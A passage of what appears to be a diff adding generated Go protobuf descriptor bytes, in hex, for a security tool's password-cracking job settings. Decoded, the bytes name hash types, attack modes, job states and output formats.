0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, + 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, + 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, + 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, + 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, + 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, + 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, + 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, + 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, + 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, + 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, + 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, + 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, + 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, + 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, + 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, + 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, + 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, + 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, + 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, + 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, + 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, + 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, + 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, + 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, + 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, + 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, + 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, + 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, + 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, + 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, + 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, + 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, + 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, + 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, + 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, + 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, + 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, + 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, + 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, + 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, + 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, + 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, + 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, + 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, + 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, + 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, + 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, + 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, + 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, + 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, + 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, + 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, + 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, + 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, + 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, + 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, + 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, + 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, + 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, + 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, + 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, + 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, + 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, + 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, + 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, + 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, + 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, + 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, + 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, + 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, + 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, + 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, + 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, + 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, + 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, + 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, + 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, + 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, + 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, + 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, + 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, + 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, + 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, + 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, + 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, + 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, + 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, + 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, + 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, + 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, + 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, + 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, + 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, + 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, + 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, + 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, + 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, + 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, + 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, + 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, + 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, + 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, + 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, + 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, + 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, + 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, + 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, + 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, + 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, + 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, + 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, + 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, + 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, + 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, + 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, + 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, + 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, + 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, + 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, + 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, + 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, + 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, + 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, + 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, + 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, + 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, + 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, + 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, + 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, + 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, + 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, + 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, + 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, + 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, + 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, + 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, + 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, + 0x6c, 